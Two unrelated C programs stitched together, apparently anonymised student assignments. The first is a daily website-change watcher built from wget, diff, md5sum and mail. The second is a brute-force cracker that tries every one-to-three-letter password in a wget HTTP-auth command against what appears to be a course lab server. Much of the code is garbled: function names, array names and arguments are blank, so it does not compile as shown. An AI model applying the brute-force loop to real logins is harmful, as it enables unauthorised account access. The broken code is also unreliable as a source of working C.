#include<stdio.h>
#include<stdlib.h>

int ()
{

FILE *fin1;
FILE *fin2;
int flag=0;


while(1)
{
    
        system("wget -p http://www.cs.rmit.edu./students");

        system("cd www.cs.rmit.edu./");

    
    
   if(flag>0)
   {
    
    fin1=fopen("./watchtext/index.html","r");
    fin2=fopen("./watchtext/test2.txt","r");
    system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");
    system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");
    system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");
    system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");
    system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");
    system("rm ./www.cs.rmit.edu./test2.txt");
           
    fclose(fin2);
    fclose(fin1);   
   }    
  
    if(flag==0)
    {
     system("mkdir watchtext");     
     if((fin1=fopen("./watchtext/index.html","r"))==NULL)
     {
      system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");
      system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");
      
      flag++;
      }
     
   } 
    
  
  
   printf("Running every 24 hours");     
  sleep(86400); 
  
}
 system("rmdir ./watchtext");      
}       
       
       
       
       



#include <stdio.h>
#include <string.h>
#include <sys/time.h>

#define OneBillion 1e9
#define false 0
#define true 1
int execPassword(char *, char *b) {


    char [100]={'\0'};
    strcpy(,b);
    
    strcat(,);
    printf ("Sending command %s\n",);
    if ( system()== 0) {
       printf ("\n password is : %s",);
       return 1;
    }
    return 0;
}
 

int bruteForce(char [],char comb[],char *url) {


int i,j,k;

   for(i=0;i<52 ;i++) {
        comb[0]= [i];
        if (execPassword(comb,url)== 1) return 1; 
          for(j=0;j<52;j++) {
              comb[1] = [j];
              if(execPassword(comb,url)==1) return 1;
                for(k=0;k<52;k++) {
                    comb[2] = [k];
                    if(execPassword(comb,url)==1) return 1;
                }
          comb[1] = '\0';
     }
   }
   return 0;

} 

int  (char *argc, char *argv[]) {

 int i,j,k;
 char strin[80] = {'\0'};
 char *passwd;
 char a[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
 char v[4]={'\0'};
 int startTime, stopTime, final;
 int flag=false; 
 strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");

  startTime = time();
    if (bruteForce(a,v,strin)==1) {
      stopTime = time();
      final = stopTime-startTime;
    }

       printf ("\n The password is : %s",v);
       printf("%lld nanoseconds (%lf) seconds \n", final,  (double)final/OneBillion );

}
